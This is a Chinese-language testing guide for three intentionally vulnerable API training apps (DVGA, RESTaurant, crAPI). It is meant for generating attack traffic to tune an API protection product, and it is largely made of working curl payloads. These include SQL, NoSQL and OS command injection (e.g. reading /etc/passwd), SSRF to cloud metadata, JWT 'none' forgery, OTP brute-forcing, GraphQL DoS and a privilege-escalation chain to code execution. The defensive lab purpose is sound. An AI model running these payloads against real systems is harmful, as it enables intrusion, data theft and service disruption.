API 测试指南
本指南对三个 API 安全测试应用中的每个 API 端点、已知漏洞及攻击载荷进行了系统整理。可用于为 F5 XC API 防护配置文件开发构建流量生成模式。
| 应用 | 协议 | 路径 | 端口 | 认证 | 漏洞 |
|---|---|---|---|---|---|
| DVGA | GraphQL | /dvga/ | 80 | 无(管理员:admin/password) | 25 个场景 |
| RESTaurant | REST (FastAPI) | /restaurant/ | 80 | JWT(表单编码) | 7 个 OWASP API 2023 类别 |
| crAPI | REST(微服务) | / | 8888 | JWT(Bearer) | 18+ 个挑战 |
ORIGIN="http://<ORIGIN_IP>"CRAPI="http://<ORIGIN_IP>:8888"DVGA(Damn Vulnerable GraphQL Application)
Section titled “DVGA(Damn Vulnerable GraphQL Application)”GraphQL 端点: POST ${ORIGIN}/dvga/graphql
GraphiQL IDE: GET ${ORIGIN}/dvga/
管理员凭据: admin / password
所有 DVGA 交互均使用单一端点(/dvga/graphql),通过包含 JSON {"query":"..."} 载荷的 POST 请求进行。
Schema 概览
Section titled “Schema 概览”Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnosticsMutations: createPaste, importPaste, uploadPasteTypes: PasteObject (id, title, content, public, owner, ipAddr, userAgent) OwnerObject (id, username, pastes) ← 循环引用| 操作 | 类型 | 认证 | 用途 |
|---|---|---|---|
pastes(public, filter, limit) | Query | 否 | 列出 paste(filter 参数存在 SQL 注入) |
paste(id) | Query | 否 | 获取单条 paste |
me(token) | Query | 否 | 通过 JWT 获取用户(存在伪造漏洞) |
systemHealth | Query | 否 | 健康检查 |
systemUpdate | Query | 否 | 慢查询(约 82 秒,DoS 攻击向量) |
systemDiagnostics(cmd) | Query | admin/password | 执行白名单 OS 命令 |
createPaste(title, content, public) | Mutation | 否 | 创建 paste(content 存在 XSS) |
importPaste(host, port, path, scheme) | Mutation | 否 | 导入远程 paste(SSRF、命令注入) |
uploadPaste(filename, content) | Mutation | 否 | 上传 paste(路径遍历) |
1. 拒绝服务(6 个场景)
Section titled “1. 拒绝服务(6 个场景)”批量查询攻击:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'深度递归(Owner/Paste 循环引用):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'资源密集型查询(响应时间约 82 秒):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemUpdate}"}'字段重复(重复字段 500 次以上):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'别名攻击(1000 个别名操作):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'2. 信息泄露(5 个场景)
Section titled “2. 信息泄露(5 个场景)”自省查询(完整 Schema 枚举):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'字段建议(拼写错误揭示有效字段):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{titl}}"}'通过 importPaste 实现 SSRF(探测内部服务):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'3. 注入(4 个场景)
Section titled “3. 注入(4 个场景)”通过 filter 参数进行 SQL 注入:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'通过 createPaste 实现存储型 XSS:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'日志注入(操作名称欺骗):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'4. 代码执行(3 个场景)
Section titled “4. 代码执行(3 个场景)”通过 importPaste 进行 OS 命令注入:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'通过 systemDiagnostics 执行 OS 命令(需要管理员认证):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'5. 授权绕过(3 个场景)
Section titled “5. 授权绕过(3 个场景)”JWT Token 伪造(接受未签名 Token):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'通过 uploadPaste 任意文件写入(路径遍历):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'RESTaurant API(Damn Vulnerable RESTaurant)
Section titled “RESTaurant API(Damn Vulnerable RESTaurant)”Swagger UI: ${ORIGIN}/restaurant/docs
OpenAPI 规范: ${ORIGIN}/restaurant/openapi.json
认证方式: 通过表单编码的 POST 请求向 /restaurant/token 获取 JWT
角色: Customer(默认)、Employee、Chef(管理员)
初始化:注册与认证
Section titled “初始化:注册与认证”# 注册测试用户curl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# 获取 JWT Token(注意:使用表单编码,而非 JSON)TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"| 端点 | 方法 | 认证 | 角色 | 漏洞 |
|---|---|---|---|---|
/restaurant/register | POST | 否 | — | 用户创建 |
/restaurant/token | POST | 否 | — | JWT 弱密钥(97952) |
/restaurant/healthcheck | GET | 否 | — | 健康检查 |
/restaurant/profile | GET | 是 | 任意 | 用户资料 |
/restaurant/profile | PUT | 是 | 任意 | BOLA(修改其他用户) |
/restaurant/profile | PATCH | 是 | 任意 | BOPLA(批量分配角色) |
/restaurant/users/update_role | PUT | 是 | 任意 | BFLA(角色提权) |
/restaurant/menu | GET | 是 | 任意 | 列出菜单项 |
/restaurant/menu | PUT | 是 | Employee+ | 创建菜单(图片存在 SSRF) |
/restaurant/menu/{item_id} | PUT | 是 | Employee+ | 更新菜单(图片存在 SSRF) |
/restaurant/menu/{item_id} | DELETE | 是 | 任意 | BFLA(任意用户可删除) |
/restaurant/orders | GET | 是 | 任意 | BOLA(查看所有订单) |
/restaurant/orders | POST | 是 | 任意 | 创建订单 |
/restaurant/orders/{order_id} | GET | 是 | 任意 | BOLA(访问他人订单) |
/restaurant/orders/status/{order_id} | GET | 是 | 任意 | 订单状态 |
/restaurant/admin/stats/disk | GET | 是 | Chef | 命令注入 |
/restaurant/reset-password | POST | 否 | — | 密码重置请求 |
/restaurant/reset-password/new-password | POST | 否 | — | 设置新密码 |
/restaurant/referral-code | GET | 是 | 任意 | 获取推荐码 |
/restaurant/apply-referral | POST | 是 | 任意 | 应用推荐码 |
/restaurant/discount-coupons | GET | 是 | 任意 | 列出优惠券 |
API1:2023 — 对象级授权失效(BOLA)
Section titled “API1:2023 — 对象级授权失效(BOLA)”修改其他用户的资料:
curl -X PUT ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'访问其他用户的订单(枚举 offset):
for i in 1 2 3 4 5; do curl -sf ${ORIGIN}/restaurant/orders/${i} \ -H "Authorization: Bearer ${TOKEN}" 2>&1 echo ""doneAPI2:2023 — 认证机制失效
Section titled “API2:2023 — 认证机制失效”JWT 弱密钥爆破(密钥为 6 位数字:97952):
# 在 jwt.io 中解码并伪造 Token# 密钥:97952(可通过 hashcat -a 3 -m 16500 token '?d?d?d?d?d?d' 爆破)
# 伪造 Chef 角色 Token:# Header: {"alg":"HS256","typ":"JWT"}# Payload: {"sub":"chef","exp":9999999999}# 使用密钥 97952 签名API3:2023 — 对象属性级授权失效(BOPLA)
Section titled “API3:2023 — 对象属性级授权失效(BOPLA)”批量分配角色(从 Customer 提升至 Chef):
curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'提权路径:Customer → Employee → Chef:
# 第一步:提权至 Employeecurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Employee"}'
# 第二步:提权至 Chefcurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'API5:2023 — 功能级授权失效(BFLA)
Section titled “API5:2023 — 功能级授权失效(BFLA)”以 Customer 身份删除菜单项(本应要求 Employee+ 权限):
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \ -H "Authorization: Bearer ${TOKEN}"修改其他用户的角色:
curl -X PUT ${ORIGIN}/restaurant/users/update_role \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","role":"Customer"}'API7:2023 — 服务端请求伪造(SSRF)
Section titled “API7:2023 — 服务端请求伪造(SSRF)”通过菜单 image_url 探测内部端点(需要 Employee 角色):
# 先通过 BOPLA 提权至 Employee,然后:curl -X PUT ${ORIGIN}/restaurant/menu \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'API8:2023 — 注入
Section titled “API8:2023 — 注入”通过磁盘统计端点进行 OS 命令注入(需要 Chef 角色):
# 提权至 Chef 后:curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \ -H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \ -H "Authorization: Bearer ${TOKEN}"完整攻击链:从 Customer 到 Root
Section titled “完整攻击链:从 Customer 到 Root”# 1. 注册curl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. 获取 TokenTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. 提权至 Chef(BOPLA)curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'
# 4. 重新认证以获取 Chef 级别 TokenTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. 命令注入(RCE)curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \ -H "Authorization: Bearer ${TOKEN}"crAPI(OWASP Completely Ridiculous API)
Section titled “crAPI(OWASP Completely Ridiculous API)”Web UI: ${CRAPI}/
MailHog: ${CRAPI}/mailhog/(邮件捕获,用于验证)
认证方式: JWT Bearer Token(RS256,存在算法混淆漏洞)
架构: 7 个微服务(identity、community、workshop、postgres、mongo、mailhog、web)
初始化:注册、验证邮箱、登录
Section titled “初始化:注册、验证邮箱、登录”# 1. 注册curl -X POST ${CRAPI}/identity/api/auth/signup \ -H "Content-Type: application/json" \ -d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. 在 MailHog 中查看验证邮件# 访问 ${CRAPI}/mailhog/ 或使用 MailHog API:curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "import sys,jsonmsgs = json.load(sys.stdin)['items']for m in msgs: print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")"
# 3. 登录并获取 JWT TokenTOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"Identity 服务
Section titled “Identity 服务”| 端点 | 方法 | 认证 | 漏洞 |
|---|---|---|---|
/identity/api/auth/signup | POST | 否 | 注册 |
/identity/api/auth/login | POST | 否 | JWT Token(算法混淆) |
/identity/api/auth/forget-password | POST | 否 | 请求 OTP |
/identity/api/auth/v2/check-otp | POST | 否 | 无速率限制(爆破 4 位 OTP) |
/identity/api/auth/v3/check-otp | POST | 否 | 有速率限制的版本 |
/identity/api/v2/user/dashboard | GET | 是 | 用户资料 |
/identity/api/v2/user/change-email | PUT | 是 | 修改邮箱 |
/identity/api/v2/vehicle/vehicles | GET | 是 | 列出车辆(泄露 UUID) |
/identity/api/v2/vehicle/{uuid}/location | GET | 是 | BOLA(访问任意用户的车辆) |
/identity/api/v2/user/videos | POST | 是 | 视频上传 |
/identity/api/v2/user/videos/{id} | GET | 是 | 数据暴露(conversion_params) |
/identity/api/v2/user/videos/{id} | PUT | 是 | 批量赋值(命令注入) |
/identity/api/v2/admin/videos/{id} | DELETE | 是 | BFLA(无管理员权限检查) |
Community 服务
Section titled “Community 服务”| 端点 | 方法 | 认证 | 漏洞 |
|---|---|---|---|
/community/api/v2/community/posts | GET | 是 | 数据暴露(泄露 vehicle_id、email) |
/community/api/v2/community/posts | POST | 是 | 创建博客文章 |
/community/api/v2/community/posts/{id}/comments | POST | 是 | 添加评论 |
/community/api/v2/coupon/validate-coupon | POST | 是 | NoSQL 注入 |
Workshop 服务
Section titled “Workshop 服务”| 端点 | 方法 | 认证 | 漏洞 |
|---|---|---|---|
/workshop/api/mechanic | GET | 是 | 数据暴露(技师邮箱泄露) |
/workshop/api/mechanic/mechanic_report | GET | 否 | BOLA(无需认证,顺序 ID) |
/workshop/api/merchant/contact_mechanic | POST | 是 | SSRF + DoS |
/workshop/api/shop/products | GET | 是 | 商品目录 |
/workshop/api/shop/orders/ | POST | 是 | 创建订单 |
/workshop/api/shop/orders/all | GET | 是 | 列出订单 |
/workshop/api/shop/orders/{id} | GET | 否 | BOLA(无需认证) |
/workshop/api/shop/orders/{id} | PUT | 是 | 批量赋值(status、quantity) |
/workshop/api/shop/apply_coupon | POST | 是 | SQL 注入 |
挑战 1 — BOLA:访问其他用户的车辆位置
Section titled “挑战 1 — BOLA:访问其他用户的车辆位置”# 先获取自己的车辆 UUIDcurl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \ -H "Authorization: Bearer ${TOKEN}"
# 访问其他用户的车辆(替换 UUID)curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \ -H "Authorization: Bearer ${TOKEN}"挑战 2 — BOLA:无需认证访问技师报告
Section titled “挑战 2 — BOLA:无需认证访问技师报告”# 顺序 ID 枚举——无需 Tokenfor i in 1 2 3 4 5; do echo "Report $i:" curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}" echo ""done挑战 3 — 认证失效:爆破密码重置 OTP
Section titled “挑战 3 — 认证失效:爆破密码重置 OTP”# 为目标用户请求 OTPcurl -X POST ${CRAPI}/identity/api/auth/forget-password \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}'
# 爆破 4 位 OTP(v2 无速率限制)for otp in $(seq -w 0000 9999); do RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \ -H "Content-Type: application/json" \ -d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1) echo "$otp: $RESULT" | grep -v "Invalid OTP" && breakdone挑战 4 — 数据暴露:泄露技师邮箱
Section titled “挑战 4 — 数据暴露:泄露技师邮箱”curl -sf ${CRAPI}/workshop/api/mechanic \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool挑战 5 — 数据暴露:内部视频转换参数泄露
Section titled “挑战 5 — 数据暴露:内部视频转换参数泄露”# 上传视频,然后检查响应curl -sf ${CRAPI}/identity/api/v2/user/videos \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool# 在响应中查找 conversion_params 字段挑战 6 — DoS:通过 Contact Mechanic 发起 7 层攻击
Section titled “挑战 6 — DoS:通过 Contact Mechanic 发起 7 层攻击”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"Engine issue", "vin":"VEHICLE_VIN", "mechanic_api":"http://localhost:8080/api", "repeat_request_if_failed":true, "number_of_repeats":100 }'挑战 7 — BFLA:通过管理员端点删除视频
Section titled “挑战 7 — BFLA:通过管理员端点删除视频”# 普通用户可以访问管理员端点curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \ -H "Authorization: Bearer ${TOKEN}"挑战 8 & 9 — 批量赋值:通过订单操纵获取免费商品
Section titled “挑战 8 & 9 — 批量赋值:通过订单操纵获取免费商品”# 将 GET 改为 PUT,修改 status 和 quantitycurl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"status":"returned","quantity":100}'挑战 10 — 通过视频转换参数进行命令注入
Section titled “挑战 10 — 通过视频转换参数进行命令注入”curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'挑战 11 — 通过 Contact Mechanic 实现 SSRF
Section titled “挑战 11 — 通过 Contact Mechanic 实现 SSRF”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"test", "vin":"VIN123", "mechanic_api":"http://169.254.169.254/latest/meta-data/", "repeat_request_if_failed":false, "number_of_repeats":0 }'挑战 12 — NoSQL 注入:提取优惠券码
Section titled “挑战 12 — NoSQL 注入:提取优惠券码”curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"coupon_code":{"$ne":1}}'挑战 13 — SQL 注入:重复兑换优惠券
Section titled “挑战 13 — SQL 注入:重复兑换优惠券”curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"挑战 14 — 未认证订单访问
Section titled “挑战 14 — 未认证订单访问”# 无需 Authorization 请求头——仍可返回数据for i in 1 2 3 4 5; do curl -sf ${CRAPI}/workshop/api/shop/orders/${i} echo ""done挑战 15 — JWT 算法混淆
Section titled “挑战 15 — JWT 算法混淆”# 伪造算法为 "none" 的 JWT(无需签名验证):# 1. 设置 Header:{"alg":"none","typ":"JWT"} 并进行 base64url 编码# 2. 设置 Payload:{"email":"admin@example.com","role":"admin"} 并进行 base64url 编码# 3. 用点号连接,签名留空:<header>.<payload>.HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \ -H "Authorization: Bearer ${FORGED}"OWASP API 安全 Top 10 交叉参考
Section titled “OWASP API 安全 Top 10 交叉参考”| OWASP 类别 | DVGA | RESTaurant | crAPI |
|---|---|---|---|
| API1: BOLA | — | PUT /profile、GET /orders/{id} | 车辆位置、技师报告、订单 |
| API2: 认证失效 | JWT 伪造(me 查询) | JWT 弱密钥(97952) | OTP 爆破(v2)、JWT 算法混淆 |
| API3: BOPLA | — | PATCH /profile(角色提权) | 视频 conversion_params、技师邮箱暴露 |
| API4: 资源消耗 | 批量、递归、别名、字段重复 DoS | 通过响应长度枚举用户 | contact_mechanic repeat_request DoS |
| API5: BFLA | — | DELETE /menu、PUT /users/update_role | 以普通用户身份调用 DELETE /admin/videos |
| API6: 批量赋值 | — | PUT /orders(status、quantity) | 订单 status/quantity、视频 conversion_params |
| API7: SSRF | importPaste mutation | PUT /menu image_url | contact_mechanic mechanic_api URL |
| API8: 注入 | SQL(filter)、XSS(content)、OS 命令(importPaste、systemDiagnostics) | OS 命令(/admin/stats/disk?parameters=) | NoSQL(validate-coupon)、SQL(apply_coupon) |
| API9: 资产管理不当 | — | — | 已废弃的 /auth/v2/check-otp(无速率限制) |
| API10: 不安全的第三方 API 消费 | — | — | (通过 SSRF 间接触发) |
| GraphQL 特有 | 自省查询、批量请求、递归、别名、字段重复、循环片段 | — | — |
流量生成模式
Section titled “流量生成模式”阶段一:基线流量(正常路径)
Section titled “阶段一:基线流量(正常路径)”在测试攻击模式之前,先生成合法流量以建立正常 API 行为基准。
DVGA 基线:
# 正常查询curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'RESTaurant 基线:
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'crAPI 基线:
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"阶段二:按 OWASP 类别划分的攻击流量
Section titled “阶段二:按 OWASP 类别划分的攻击流量”BOLA 测试: 枚举顺序 ID,在请求中替换用户标识符,访问非本人所有的资源。
注入测试: 在 filter/coupon 参数中注入 SQL 载荷,GraphQL 查询注入,通过参数字段进行 OS 命令注入。
认证绕过测试: 伪造 JWT Token,爆破 OTP,使用已废弃的 API 版本,算法混淆攻击。
SSRF 测试: 在 importPaste、image_url 和 mechanic_api 参数中使用内部 URL。
DoS 测试: GraphQL 批量/递归/别名攻击,将 repeat_request_if_failed 设置为较大次数。
阶段三:有状态攻击链
Section titled “阶段三:有状态攻击链”部分攻击需要多步骤序列并维持状态:
- RESTaurant 提权链: 注册 → 获取 Token → PATCH 角色为 Chef → 重新认证 → 命令注入
- crAPI 完整流程: 注册 → 验证邮箱(MailHog) → 登录 → 添加车辆 → 联系技师(SSRF) → 订单操纵
- DVGA 侦察到利用: 自省查询 → 发现 systemDiagnostics → 爆破管理员凭据 → 执行 OS 命令
| 模式 | 请求数/秒 | 持续时间 | 备注 |
|---|---|---|---|
| 基线(每个应用) | 10-50 | 5 分钟 | 建立正常流量指纹 |
| BOLA 枚举 | 100-500 | 2 分钟 | 顺序 ID 扫描 |
| OTP 爆破 | 1000+ | 直至成功 | 最多 10,000 次尝试(4 位数字) |
| GraphQL DoS | 10-50 | 30 秒 | 每个请求对服务器侧消耗较大 |
| 注入模糊测试 | 50-200 | 5 分钟 | 每次请求使用不同载荷 |
| SSRF 探测 | 5-20 | 2 分钟 | 速度慢;每次触发服务器侧 HTTP 请求 |